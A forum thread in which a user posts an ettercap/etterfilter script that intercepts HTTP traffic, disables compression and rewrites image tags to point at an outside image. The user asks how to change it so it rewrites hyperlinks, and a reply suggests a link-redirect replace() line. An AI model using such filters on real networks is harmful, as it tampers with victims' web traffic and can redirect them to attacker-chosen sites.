Request Etterfilter/Ettercap that changes hyperlinks instead of images

[h4ck3r470r]

hey y'all. I've been screwing around with etterfilter and ettercap, and came across this script.

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
msg("Filter Ran.\n");
}

and it crossed my mind that I wanted to create a script that changes hyperlinks instead of image scripts. can any of you experts help me figure this out. I'm new to back track. I've tried this.

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.a href == 80) {
replace("a href=", "a href=\"url here\" ");
replace("A HREF=", "a href=\"url here\" ");
msg("Filter Ran.\n");
}

but I ran into a few problems and I don't even know if this is the right way to go about it.

Can Someone Help Me?!

[me.haez]

hey.. why && tcp.a href == 80 ??
and maybe try something like that... (without \ at the begining of the url)

replace("<a href="","<a href="www.haezblog.tk"");

it would be so great if you can use regular expressions in ettercap filters.

...haez